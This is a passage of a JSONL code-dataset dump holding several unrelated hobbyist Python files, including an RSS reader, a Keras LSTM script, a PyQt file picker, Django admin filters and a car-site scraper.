parameter.set(\"required\", \"1\")\n if params[param][\"unique\"]:\n parameter.set(\"unique\", \"1\")\n\n eContent = ElementTree.SubElement(parameter, \"content\", {\"type\": params[param][\"ocftype\"]})\n if params[param][\"default\"]:\n eContent.set(\"default\", params[param][\"default\"])\n\n eActions = ElementTree.SubElement(eResourceAgent, \"actions\")\n implemented_actions = set([name.replace(\"_\", \"-\") for name, method in inspect.getmembers(self, predicate=inspect.ismethod)]) & set(self.allowed_methods)\n for action in implemented_actions:\n eAction = ElementTree.SubElement(eActions, \"action\", {\"name\": action, \"timeout\": str(getattr(self, action.replace(\"-\", \"_\") + \"_timeout\", self.timeout))})\n\n return eResourceAgent\n\n def meta_data(self):\n xml_meta_data = self.get_meta_data()\n sys.stdout.write(\"\"\"\n\n\"\"\")\n ElementTree.ElementTree(xml_meta_data).write(sys.stdout)\n sys.stdout.write(\"\\n\")\n\n def monitor(self):\n raise exits.OCF_NOT_RUNNING(\"monitor: not running\")\n\n def _get_loader(self, name):\n return getattr(self, \"_param_\" + name + \"_loader\", None)\n\n def validate_all(self):\n # check required params\n for param in (param for param in self.params if (self.params[param][\"required\"] and not self.params[param][\"default\"])):\n if not self.param(param):\n raise exits.OCF_ERR_ARGS(\"Argument '%s' is required but not provided\" % param)\n # try to load all params\n for param in self.params.keys():\n custom_loader = self._get_loader(param)\n if custom_loader:\n try:\n self.param(param)\n except Exception as e:\n raise exits.OCF_ERR_ARGS(\"Argument '%s' is wrong (%s)\" % (param, str(e)))\n\n def param(self, name):\n env = os.environ\n custom_loader = self._get_loader(name)\n if custom_loader:\n return custom_loader(env.get(\"OCF_RESKEY_%s\" % name, self.params[name][\"default\"]))\n else:\n return env.get(\"OCF_RESKEY_%s\" % name, self.params[name][\"default\"])\n\nif __name__ == \"__main__\":\n pass\n","sub_path":"ekini/ocf.py","file_name":"ocf.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"641419142","text":"import argparse as ag\nimport ast\nimport csv\nimport datetime\nfrom ebooklib import epub\nimport feedparser\nimport json\nimport logging\nfrom termcolor import colored\n\n\nlogging.basicConfig(filename='logs.log', level=logging.INFO,\n format='%(asctime)s - %(name)s - %(levelname)s - '\n '%(message)s')\nlogging.info('Logs go here!')\nlogging.error('Something went wrong with logs :(')\nlogging.debug('Logs debug')\nlog = logging.getLogger()\n\n\nclass ParserRSS(object):\n \"\"\"Class for RSS Parser\"\"\"\n news = {}\n\n def __init__(self, url, lim=1, clr_fg='no', choice_list=None,\n printer_flag='small'):\n if choice_list is None:\n choice_list = []\n self.url = url\n self.lim = lim\n self.clr_fg = clr_fg\n self.choice_list = choice_list\n self.printer_flag = printer_flag\n\n def custom_printer(self):\n \"\"\"Prints customized news.\n Is started by choicer()\"\"\"\n log.info('Start custom_printer function')\n iterator = 0\n key_list = list(self.news.keys())\n keyz = key_list[iterator].capitalize()\n keyz = ''.join([i for i in keyz if not i.isdigit()])\n separator = keyz\n while iterator != len(key_list):\n if self.clr_fg == 'no':\n keyz = key_list[iterator].capitalize()\n keyz = ''.join([i for i in keyz if not i.isdigit()])\n if keyz == separator:\n print('\\nNew block:')\n print(keyz, ': ', self.news[key_list[iterator]])\n iterator += 1\n elif self.clr_fg == 'yes':\n keyz = key_list[iterator].capitalize()\n keyz = ''.join([i for i in keyz if not i.isdigit()])\n if keyz == separator:\n print(colored('\\nNew block:', 'green'))\n print(colored(keyz, 'red'), colored(': ', 'red'),\n colored(self.news[key_list[iterator]], 'blue'))\n iterator += 1\n\n def choicer(self):\n \"\"\"Allows user to choose what to collect.\n Is started by news_collector_custom()\n Starts custom_printer()\"\"\"\n log.info('Start choicer function')\n choice = input()\n if choice != 'end':\n try:\n choice = int(choice)\n print(choice)\n if choice not in self.choice_list:\n self.choice_list.append(choice)\n self.choice_list.sort()\n self.choicer()\n else:\n print('You have already pointed this!\\n')\n self.choicer()\n except ValueError:\n print('You must choose a number!')\n self.choicer()\n elif choice == 'end':\n if not self.choice_list:\n print('The program is quit because '\n 'You have not made a choice!')\n else:\n print(self.choice_list)\n iterator = 0\n while iterator != self.lim:\n NewsFeed = feedparser.parse(self.url)\n entry = NewsFeed.entries[iterator]\n i = 0\n while i != len(self.choice_list):\n var = self.choice_list[i]\n lst = list(entry.keys())\n self.news[lst[var] + str(iterator)] = entry[lst[var]]\n i += 1\n iterator += 1\n self.cache_news()\n self.custom_printer()\n\n def news_collector_custom(self):\n \"\"\"Collects news for custom_printer().\n May be started by --custom command or by news_collector()\n Starts choicer()\"\"\"\n log.info('Start news_collector_custom function')\n try:\n NewsFeed = feedparser.parse(self.url)\n entry = NewsFeed.entries[1]\n except Exception:\n e = 'No url or url is incorrect!'\n return e\n self.news = {}\n list_of_keys = list(entry.keys())\n ch_dict = {i: list_of_keys[i] for i in range(0, len(list_of_keys))}\n print('Make your choice:\\n'\n 'Print end if no more choices needed\\n', ch_dict)\n self.choicer()\n\n def news_collector(self):\n \"\"\"Collects non-custom news.\n Starts from trying collect news for printer().\n If fails, then tries to collect news for small_printer()\n If fails, then initializes news_collector_custom()\"\"\"\n log.info('Start news_collector function')\n try:\n NewsFeed = feedparser.parse(self.url)\n entry = NewsFeed.entries[1]\n except Exception:\n e = 'No url or url is incorrect!'\n return e\n\n iterator = 0\n try:\n # Yahoo&Yahoo-alike News like Tut.by\n if 'title' and 'published' and 'link' and 'media_content' \\\n and 'links' in entry:\n self.printer_flag = 'big'\n while iterator != self.lim:\n entry = NewsFeed.entries[iterator]\n self.news['Title' + str(iterator)] = entry.title\n self.news['Date' + str(iterator)] = entry.published\n self.news['Link' + str(iterator)] = entry.link\n self.news['Media' + str(iterator)] = entry.media_content\n self.news['Links' + str(iterator)] = entry.links\n iterator += 1\n self.cache_news()\n\n except AttributeError:\n try:\n # Small collector for BBC&BBC-alike News\n if 'title' and 'link' in entry:\n self.printer_flag = 'small'\n self.news = {}\n while iterator != self.lim:\n entry = NewsFeed.entries[iterator]\n self.news['Title' + str(iterator)] = entry.title\n self.news['Link' + str(iterator)] = entry.link\n iterator += 1\n self.cache_news()\n except AttributeError:\n # Customized news collection\n self.news_collector_custom()\n except Exception as exc:\n print(exc)\n\n def printer(self):\n \"\"\"Prints news from Yahoo&Yahoo-alike News sites\"\"\"\n log.info('Start printer function')\n self.news_collector()\n if self.printer_flag == 'small':\n self.small_printer()\n elif self.printer_flag == 'big':\n iterator = 0\n while iterator != len(self.news.keys()):\n if self.clr_fg == 'no':\n print('\\nNew block:',\n '\\nTitle: ', self.news['Title' + str(iterator)],\n '\\nLink: ', self.news['Link' + str(iterator)],\n '\\nDate: ', self.news['Date' + str(iterator)],\n '\\nMedia Content:'\n ' ', self.news['Media' + str(iterator)],\n '\\nLinks:'\n ' ', self.news['Links' + str(iterator)], '\\n')\n iterator += 1\n elif self.clr_fg == 'yes':\n print(colored('\\nNew block:', 'red'),\n colored('\\nTitle: ', 'green'),\n colored(self.news['Title' + str(iterator)], 'blue'),\n colored('\\nLink: ', 'green'),\n colored(self.news['Link' + str(iterator)], 'blue'),\n colored('\\nDate: ', 'green'),\n colored(self.news['Date' + str(iterator)], 'blue'),\n colored('\\nMedia Content: ', 'green'),\n colored(self.news['Media' + str(iterator)], 'blue'),\n colored('\\nLinks: ', 'green'),\n colored(self.news['Links' + str(iterator)], 'blue'),\n '\\n')\n iterator += 1\n\n def small_printer(self):\n \"\"\"Prints news from BBC&BBC-alike News sites.\"\"\"\n log.info('Start small_printer function')\n iterator = 0\n while iterator != len(self.news.keys()):\n if self.clr_fg == 'no':\n print('\\nNew block:\\n',\n 'Title: ', self.news['Title' + str(iterator)], '\\n',\n 'Link: ', self.news['Link' + str(iterator)], '\\n')\n iterator += 1\n elif self.clr_fg == 'yes':\n print(colored('\\nNew block:\\n', 'red'),\n colored('Title: ', 'red'),\n colored(self.news['Title' + str(iterator)], 'green'),\n '\\n', colored('Link: ', 'red'),\n colored(self.news['Link' + str(iterator)], 'green'),\n '\\n')\n iterator += 1\n\n def json_converter(self):\n \"\"\"Converts collected news to json format.\"\"\"\n log.info('Start json_converter function')\n self.news_collector()\n parsed = json.dumps(self.news, indent=4, sort_keys=False)\n print(parsed)\n\n def json_converter_custom(self):\n \"\"\"Converts collected custom news to json format\"\"\"\n log.info('Start json_converter_custom function')\n self.news_collector_custom()\n parsed = json.dumps(self.news, indent=4, sort_keys=False)\n print(parsed)\n\n def cache_news(self):\n \"\"\"Caches news to cache_csv.csv file.\n Checks the cache contain to avoid double-caching.\n Creates cache_csv.csv if it does not exist\"\"\"\n log.info('Start cache')\n the_date = datetime.datetime.strftime(datetime.datetime.now(),\n \"%Y.%m.%d %H:%M:%S\")\n the_date = the_date[0:10]\n the_date = the_date.replace('.', '')\n keyz = the_date + self.url\n field_names = ['date+url', 'news']\n key_list = []\n try:\n with open('cache_csv.csv', 'r') as file:\n csvread = csv.DictReader(file)\n for row in csvread:\n if row['date+url'] != 'date+url':\n key_list.append(row['date+url'])\n if keyz not in key_list:\n with open('cache_csv.csv', 'a') as f:\n w = csv.DictWriter(f, field_names)\n w.writeheader()\n w.writerow({'date+url': keyz, 'news': self.news})\n f.close()\n\n except FileNotFoundError:\n with open('cache_csv.csv', 'w') as f:\n w = csv.DictWriter(f, field_names)\n w.writeheader()\n w.writerow({'date+url': keyz, 'news': self.news})\n f.close()\n\n def cache_extractor(self):\n \"\"\"Extracts cache from cache_csv.csv if it exists\n and there is cache for this date and url\"\"\"\n print('start cache extraction!')\n key_list = []\n val_list = []\n try:\n with open('cache_csv.csv', 'r') as f:\n csvread = csv.DictReader(f)\n for row in csvread:\n if row['date+url'] != 'date+url':\n key_list.append(row['date+url'])\n if row['news'] != 'news':\n val_list.append(row['news'])\n news_dct = dict.fromkeys(key_list, val_list)\n try:\n cached_news_list = news_dct[self.url]\n cached_news_str = cached_news_list[0]\n print(cached_news_str)\n self.news = ast.literal_eval(cached_news_str)\n print('\\nNews cache for this date and url: \\n')\n self.custom_printer()\n except Exception:\n print('No cache for this date/url!')\n except FileNotFoundError:\n print('There is no cache at all!')\n\n def to_epub(self):\n \"\"\" Converts collected news to .epub file\"\"\"\n self.news_collector()\n the_date = datetime.datetime.strftime(datetime.datetime.now(),\n \"%Y.%m.%d %H:%M:%S\")\n the_date = the_date[0:10]\n the_date = the_date.replace('.', '')\n keyz = the_date + self.url\n keyz = keyz.replace('/', '')\n keyz = keyz.replace('.', '')\n keyz = keyz.replace(':', '')\n try:\n log.info('Convert to epub')\n book = epub.EpubBook()\n # set metadata\n book.set_identifier('id123456')\n book.set_title('news')\n book.set_language('en')\n book.add_author('Andrey Kapitonov')\n book.add_author('Andrey Kapitonov', file_as='Epub', role='ill',\n uid='coauthor')\n chapter_file_counter = 1\n ep = \"\"\n c1 = epub.EpubHtml(title='Intro', file_name='{}.xhtml'.format(\n chapter_file_counter), lang='hr')\n for item in self.news:\n ep += '
' + str(item) + '
'\n for element in self.news[item]:\n ep += str(element)\n chapter_file_counter += 1\n c1.content = ep\n # add chapter\n book.add_item(c1)\n # define Table Of Contents\n book.toc = (epub.Link('chap_01.xhtml', 'Introduction', 'intro'),\n (epub.Section('Simple book'), (c1,)))\n # add default NCX and Nav file\n book.add_item(epub.EpubNcx())\n book.add_item(epub.EpubNav())\n # define CSS style\n style = 'BODY {color: white;}'\n nav_css = epub.EpubItem(uid=\"style_nav\", file_name=\"style/nav.css\",\n media_type=\"text/css\", content=style)\n # add CSS file\n book.add_item(nav_css)\n # basic spine\n book.spine = ['nav', c1]\n # write to the file\n try:\n path = args.output_path\n except Exception:\n path = ''\n file_name = path + '/book' + keyz + '.epub'\n epub.write_epub(file_name, book, {})\n print('Successful', file_name)\n\n except Exception:\n raise Exception('Unable to convert to .epub')\n\n\ndef main():\n \"\"\"Gets optional arguments and initializes ParserRSS class\"\"\"\n try:\n parser = ag.ArgumentParser(description='Processes something')\n\n parser.add_argument('--version', action='store_true',\n help='Prints version info')\n parser.add_argument('--json', action='store_true',\n help='Prints result as JSON in stdout')\n parser.add_argument('--verbose', action='store_true',\n help='Outputs verbose status info')\n parser.add_argument('--limit', action='store', dest='limit',\n help='Limits news topics if this parameter '\n 'provided', default=1)\n parser.add_argument('--custom', action='store_true',\n help='Allows to customize the output')\n parser.add_argument('--date', action='store', dest='date',\n help='Get cached news by date')\n parser.add_argument('--to_epub', action='store_true',\n help='Converts to .epub')\n parser.add_argument('--output_path', action='store', dest='path',\n help='provides a custom path for .epub-file')\n parser.add_argument('--colored', action='store_true',\n help='Colorizes stdout')\n parser.add_argument('string', metavar='Source', type=str)\n\n args = parser.parse_args()\n log.info('Start')\n custom_flag = 'no'\n cache_flag = 'no'\n conversation_flag = 'no'\n color_flag = 'no'\n\n if args.date:\n obj = ParserRSS(str(args.date) + str(args.string))\n obj.cache_extractor()\n cache_flag = 'yes'\n\n if args.colored:\n color_flag = 'yes'\n\n prss = ParserRSS(args.string, int(args.limit), color_flag)\n\n if args.to_epub:\n prss.to_epub()\n conversation_flag = 'yes'\n\n if args.version:\n print('version 1')\n log.info('Printed Version')\n\n if args.custom:\n custom_flag = 'yes'\n log.info('Changed custom_flag')\n\n if args.json:\n if custom_flag == 'no' and cache_flag == 'no' \\\n and conversation_flag == 'no':\n prss.json_converter()\n log.info('Started as custom json-collector')\n elif custom_flag == 'yes' and cache_flag == 'no' \\\n and conversation_flag == 'no':\n prss.json_converter_custom()\n log.info('Started as standard json-collector')\n\n if args.verbose:\n with open(\"logs.log\", 'r+') as f:\n date = f.read()\n print(date)\n log.info('Logs to stdout')\n\n if args.limit:\n if custom_flag == 'no' and cache_flag == 'no' \\\n and conversation_flag == 'no':\n prss.printer()\n log.info('Started as standard news-collector')\n elif custom_flag == 'yes' and cache_flag == 'no' \\\n and conversation_flag == 'no':\n prss.news_collector_custom()\n log.info('Started as custom news-collector')\n\n else:\n prss.printer()\n log.info('Started with no optional arguments')\n prss.cache_news()\n\n except Exception as exc:\n print(exc)\n\n\nif __name__ == '__main__':\n print('''usage: rss_reader_kapitonov.py [-h] [--version] [--json]\n [--verbose] [--limit LIMIT] [--custom] source\n\nPure Python command-line RSS reader.\n\npositional arguments:\n source RSS URL\n\noptional arguments:\n -h, --help show this help message and exit\n --version Print version info\n --json Print result as JSON in stdout\n --verbose Outputs verbose status messages\n --limit LIMIT Limit news topics if this parameter provided\n --custom Allows to customize the output\n --date Get cached news by date\n --to-epub Converts to .epub\n --output_path Provides a custom path for .epub file\n --colored Colorized stdout''')\n main()\n","sub_path":"rss_reader_kapitonov/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"224132828","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nimport sys\nimport pymongo\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom keras.utils import to_categorical\nfrom keras.layers import Dense, LSTM\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential, load_model\n\nNUM_OF_TAGS = 10 # 标签数,同时也是feature矩阵的维度(这么多个特征决定是该题)\nbatch_size = 10 # 一次处理多少个样本\ninput_dim = NUM_OF_TAGS #s 输入维度\nunits = 64 # LSTM hidden layer\noutput_size = 101 # probablility of answering a question right\nTIME_STEP = 1\n# mongodb to numpy data\nclient = pymongo.MongoClient(\"localhost\")\ndb = client.IntelliC\ncollection_train = db.tmp_train\ncollection_test = db.tmp_test\n# i = int(0)\n# for n in range(0, 100):\n# i += 1\n# post = {\"q_id\": i,\n# \"tags\": [random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1)],\n# \"percentage\": random.randint(0,100)}\n# collection_train.insert_one(post)\n# j = int(0)\n# for n in range(0, 100):\n# j += 1\n# post = {\"q_id\": j,\n# \"tags\": [random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1)],\n# \"percentage\": 0}\n# collection_test.insert_one(post)\ntrain_data = pd.DataFrame(list(collection_train.find({}, {\"tags\": 1, \"percentage\": 1, \"_id\": 0}).sort(\"_id\", pymongo.ASCENDING)))\nx_train = pd.DataFrame(list(train_data.tags))\n# x_train = x_train.to_numpy().reshape(x_train.shape[0], TIME_STEP, x_train.shape[1])\nx_train = to_categorical(x_train, num_classes=2)\ny_train = train_data.percentage\ny_train = to_categorical(y_train, num_classes=output_size)\nprint(x_train.shape)\nprint(y_train)\n\ntest_data = pd.DataFrame(list(collection_test.find({}, {\"tags\": 1, \"percentage\": 1, \"_id\": 0}).sort(\"_id\", pymongo.ASCENDING)))\nx_test = pd.DataFrame(list(test_data.tags))\n# x_test = x_test.to_numpy().reshape(x_test.shape[0], TIME_STEP, x_test.shape[1])\nx_test = to_categorical(x_test, num_classes=2)\ny_test = test_data.percentage\ny_test = to_categorical(y_train, num_classes=output_size)\n\n\n\"\"\" ------------------------------------ LSTM -------------------------------------- \"\"\"\n\ndef build_model(allow_cudnn_kernel=True):\n # CuDNN is only available at the layer level, and not at the cell level.\n # This means `LSTM(units)` will use the CuDNN kernel,\n # while RNN(LSTMCell(units)) will run on non-CuDNN kernel.\n if allow_cudnn_kernel:\n # The LSTM layer with default options uses CuDNN.\n lstm_layer1 = tf.keras.layers.LSTM(units, input_shape=(10, 2), return_sequences=True) # x_train.shape[1],x_train.shape[2]\n lstm_layer2 = tf.keras.layers.LSTM(units * 2, return_sequences=False)\n # lstm_layer3 = tf.keras.layers.LSTM(units * 2, return_sequences=False)\n else:\n # Wrapping a LSTMCell in a RNN layer will not use CuDNN.\n lstm_layer = tf.keras.layers.RNN(\n tf.keras.layers.LSTMCell(units),\n input_shape=(10, 2))\n\n model = tf.keras.models.Sequential([\n\n lstm_layer1,\n lstm_layer2,\n # lstm_layer3,\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(output_size, activation='softmax')]\n )\n return model\n\nmodel = build_model(allow_cudnn_kernel=True)\nmodel.compile(loss='categorical_crossentropy',\n optimizer='sgd',\n metrics=['accuracy'])\n\nhistory = model.fit(x_train, y_train,\n # validation_data=(x_test, y_test),\n batch_size=batch_size,\n epochs=700)\n\nmodel.save('test_model.h5')\n\ny_pred = model.predict(x_test,batch_size = 1).tolist()\nprint(y_pred)\nfinal_y = []\ni = 0\nfor pi in y_pred:\n i = i+1\n final_y.append(pi.index(max(pi)))\n collection_test.update_one({'q_id': i}, {'$set': {'percentage': pi.index(max(pi))}})\nprint(final_y)\n\n# ==================================== Testing Reload Model ============================================\nmodel = load_model('test_model.h5')\n# i = int(100)\n# for n in range(0, 100):\n# i += 1\n# post = {\"q_id\": i,\n# \"tags\": [random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1), random.randint(0, 1)],\n# \"percentage\": random.randint(0,100)}\n# collection_train.insert_one(post)\n# train_data = pd.DataFrame(list(collection_train.find({}, {\"tags\": 1, \"percentage\": 1, \"_id\": 0}).sort(\"_id\", pymongo.ASCENDING)))\n# x_train = pd.DataFrame(list(train_data.tags))\n# # x_train = x_train.to_numpy().reshape(x_train.shape[0], TIME_STEP, x_train.shape[1])\n# x_train = to_categorical(x_train, num_classes=2)\n# y_train = train_data.percentage\n# y_train = to_categorical(y_train, num_classes=output_size)\n# print(x_train.shape)\n# print(y_train)\n# history = model.fit(x_train, y_train,\n# # validation_data=(x_test, y_test),\n# batch_size=batch_size,\n# epochs=5000)","sub_path":"routes/DKT+.py","file_name":"DKT+.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"76941290","text":"import sys # We need sys so that we can pass argv to QApplication\nimport os\nimport fnmatch\n\nfrom PyQt5 import QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QFileDialog\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\n\nimport design # This file holds our MainWindow and all design related things\n\n\nclass Yscribe(QtWidgets.QMainWindow, design.Ui_MainWindow):\n def __init__(self):\n super(self.__class__, self).__init__()\n self.setupUi(self) # This is defined in design.py file automatically\n\n @pyqtSlot()\n def on_sourceButton_clicked(self):\n directory = QFileDialog.getExistingDirectory(self, \"Pick a folder\")\n\n if directory:\n self.sourceCombo.setDisabled(True)\n self.sourceInput.setText(directory)\n model = QStandardItemModel()\n for root, dirs, files in os.walk(directory):\n for filename in fnmatch.filter(files, '*_' + self.get_lang_code(\n self.sourceCombo.currentText()) + '.properties'):\n item = QStandardItem(os.path.join(root.replace(self.sourceInput.text(), \"\"), filename))\n item.setFlags(Qt.ItemIsUserCheckable | Qt.ItemIsEnabled)\n item.setData(QVariant(Qt.Checked), Qt.CheckStateRole)\n model.appendRow(item)\n self.listWidget.setModel(model)\n\n @pyqtSlot()\n def on_startButton_clicked(self):\n self.destCombo.setDisabled(True)\n list = self.listWidget.model()\n for index in range(list.rowCount()):\n item = list.item(index)\n if item.checkState() == Qt.Checked:\n print(item.data(0))\n\n def get_lang_code(self, lang):\n if lang == \"English\":\n return \"en\"\n elif lang == \"Polish\":\n return \"pl\"\n elif lang == \"German\":\n return \"de\"\n\n\ndef main():\n app = QApplication(sys.argv)\n form = Yscribe()\n form.show()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"30609955","text":"from Analisis_Ascendente.Instrucciones.PLPGSQL import EjecutarFuncion\nfrom Analisis_Ascendente.Instrucciones.instruccion import *\nfrom Analisis_Ascendente.storageManager.jsonMode import *\nimport Analisis_Ascendente.Tabla_simbolos.TablaSimbolos as TS\nimport Analisis_Ascendente.Instrucciones.Select as Select\nfrom Analisis_Ascendente.Instrucciones.Time import Time\nfrom Analisis_Ascendente.Instrucciones.expresion import *\nfrom Analisis_Ascendente.Instrucciones.Expresiones.Expresion import *\nfrom Analisis_Ascendente.Instrucciones.Expresiones.Trigonometrica import Trigonometrica\nfrom Analisis_Ascendente.Instrucciones.Expresiones.IdAsId import IdAsId\nfrom Analisis_Ascendente.Instrucciones.Expresiones.Math import Math_\nfrom prettytable import PrettyTable\n\nclass Selectp3(Instruccion):\n def get3D(self, ts, listaopt):\n dict = {}\n etiq = GeneradorTemporales.nuevo_temporal()\n code = ' \\n# ---------SELECT----------- \\n'\n code += ' top_stack = top_stack + 1 \\n'\n code += ' %s = \"select ' % etiq\n if self.columnas is not None:\n for col in self.columnas:\n if isinstance(col, Instruccion):\n code += col.getC3D() + ','\n if isinstance(col, Expresion):\n dict = col.getC3D(listaopt)\n if isinstance(col, Funcion):\n code += col.getC3D()\n code += '\\\"'\n if bool(dict):\n code += '\\n'+dict[\"code\"] + '\\n'\n code += ' %s = %s + %s' % (etiq, etiq, dict[\"tmp\"])\n tmp = GeneradorTemporales.nuevo_temporal()\n code += '\\n %s = \";\" \\n' % tmp\n code += ' %s = %s + %s \\n' % (etiq, etiq, tmp)\n code += ' stack[top_stack] = %s \\n' % etiq\n return code\n\n def ejecutar(Select,ts,Consola,exceptions,Mostrar):\n #type(self).__name__\n ##print('what -- '+type(Select.columnas).__name__)\n x = PrettyTable()\n rowpp=[]\n en=[]\n\n for columna in Select.columnas:\n i=0\n\n if isinstance(columna , Select.__class__):\n Consola.append('what -- ' + type(columna).__name__ + '\\n')\n elif isinstance(columna,Time):\n en.append('time')\n\n time = Time.resolverTime(columna)\n rowpp.append(time)\n #Consola.append('what -- ' + time + '\\n')\n elif isinstance(columna,IdId):# no porque no tiene from\n Consola.append('what -- ' + type(columna).__name__ + '\\n')\n exceptions.append(\n 'Error semantico - 42P01 - falta una entrada para la tabla en la cláusula FROM, error en ' + ' - ' + str(Select.fila) + ' - ' + str(Select.columna) + '')\n elif isinstance(columna,IdId):# no porque no tiene from\n Consola.append('42P01 - falta una entrada para la tabla en la cláusula FROM')\n exceptions.append(\n 'Error semantico - 42P01 - falta una entrada para la tabla en la cláusula FROM, error en ' + ' - ' + str(Select.fila) + ' - ' + str(Select.columna) + '')\n elif isinstance(columna, Funcion):\n bdactual = ts.buscar_sim(\"usedatabase1234\")\n if bdactual is not None:\n BD = ts.buscar_sim(bdactual.valor)\n entornoBD = BD.Entorno\n funcion = entornoBD.buscar_sim(columna.id)\n if funcion.categoria == TS.TIPO_DATO.FUNCTION:\n datafinal = EjecutarFuncion.ResolverFuncion(columna, ts, Consola, exceptions)\n EjecutarFuncion.limpiarFuncion(columna, ts)\n en.append(columna.id)\n rowpp.append(datafinal)\n EjecutarFuncion.limpiarFuncion(columna, ts)\n else:\n Consola.append('42883\tundefined_function')\n exceptions.append(\n 'Error semantico - 42883 - undefined_functions' + ' - ' + str(\n Select.fila) + ' - ' + str(Select.columna) + '')\n elif isinstance(columna, IdAsId):\n # no porque no tiene from\n if(isinstance(columna.id2,Primitivo)):\n en.append(columna.id2.valor)\n else:\n en.append(columna.id2.id)\n\n\n val = IdAsId.Resolver(columna, ts, Consola, exceptions)\n rowpp.append(str(val))\n #Consola.append('what -- ' + str(val)+ '\\n')\n elif isinstance(columna,Math_): #hay que resolver\n en.append(str(columna.nombre))\n val=Math_.Resolver(columna,Consola,Consola,exceptions)\n rowpp.append(str(val))\n #Consola.append('what -- ' + type(columna).__name__ + '\\n')\n elif isinstance(columna,Trigonometrica): #hay que resolver\n en.append(str(columna.trig))\n REST=Trigonometrica.Resolver(columna,ts,Consola,exceptions)\n rowpp.append(str(REST))\n #Consola.append('what -- ' + str(REST) + '\\n')\n i= i + 1\n\n\n x.add_row(rowpp)\n x.field_names = en\n\n if Mostrar:\n Consola.append('\\n'+x.get_string()+'\\n')\n return [en, rowpp]\n","sub_path":"parser/fase2/team19/Analisis_Ascendente/Instrucciones/Select/Select2.py","file_name":"Select2.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"546386258","text":"import json\nimport urllib.request\nimport urllib\nimport datetime\n\ndef makegeographydict():\n # Retrieve all geography codes and labels and make a dict for look up.\n geo_dict = {}\n geographylist = urllib.request.urlopen('https://lehd.ces.census.gov/data/schema/latest/label_geography.csv')\n for line in geographylist.readlines():\n line = line.rstrip()\n if line:\n line = line.decode()\n line = line.split(',')\n if len(line) == 4:\n if line[3] == 'M':\n geo_dict[line[0]] = [\n line[1].replace('\\n','').replace('\"','') + ';' + line[2].replace('\\n','').replace('\"',''),\n line[0][:2],\n line[0][2:]\n ]\n return geo_dict\n\ndef main():\n print(makegeographydict())\n\nif __name__ == '__main__':\n main()\n","sub_path":"metro50index.py","file_name":"metro50index.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"76078684","text":"from django.contrib.admin import SimpleListFilter\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom . import settings\n\n\nclass HasWebsiteListFilter(SimpleListFilter):\n title = _(\"website\")\n parameter_name = 'has_website'\n \n def lookups(self, request, model_admin):\n return (\n ('True', _(\"True\")),\n ('False', _(\"False\")),\n )\n \n def queryset(self, request, queryset):\n if self.value() == 'True':\n return queryset.filter(content__isnull=False)\n elif self.value() == 'False':\n return queryset.filter(content__isnull=True)\n return queryset\n\n\nclass PHPVersionListFilter(SimpleListFilter):\n title = _(\"PHP version\")\n parameter_name = 'php_version'\n \n def lookups(self, request, model_admin):\n return settings.WEBAPPS_PHP_VERSIONS\n \n def queryset(self, request, queryset):\n value = self.value()\n if value:\n return queryset.filter(data__contains='\"php_version\":\"%s\"' % value)\n return queryset\n","sub_path":"orchestra/contrib/webapps/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"617354382","text":"\nclass Produto:\n def __init__(produto, marca, nome, genero, preco, cor, descricao, composicao):\n produto.marca = marca\n produto.nome = nome\n produto.genero = genero\n produto.preco = preco\n produto.cor = cor\n produto.descricao = descricao\n produto.composicao = composicao\n\n def getMarca(self):\n produto.marca\n\n\n","sub_path":"model/Produto.py","file_name":"Produto.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"362917881","text":"# -*- coding: utf-8 -*-\n\nfrom bs4 import BeautifulSoup\nfrom URLDownloader import downloader\nfrom DataOut import writeCarInfo, writeDelaer\n\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n\nclass carParser(object):\n def car_parse(self, serises_dict):\n value_dict = eval(serises_dict)\n web_data = downloader(url=value_dict[\"detail_url\"])\n if web_data:\n car_info_list = []\n car_id_list = []\n soup = BeautifulSoup(markup=web_data, features=\"lxml\")\n car_list = soup.find(name=\"table\", attrs={\"id\": \"autotop\"})\n if car_list:\n for car in car_list.contents[1].contents[1:]:\n if car != \"\\n\":\n car_id_list.append(car.attrs[\"name\"])\n\n for car_id in car_id_list:\n detail_info = soup.find_all(name=\"td\", attrs={\"name\": car_id})\n data = {\n u\"平台\": u\"汽车时代网\",\n u\"车系\": detail_info[0].text.strip().split(\"\\n\")[0].strip(),\n u\"价格\": detail_info[1].text.strip(),\n u\"品牌\": 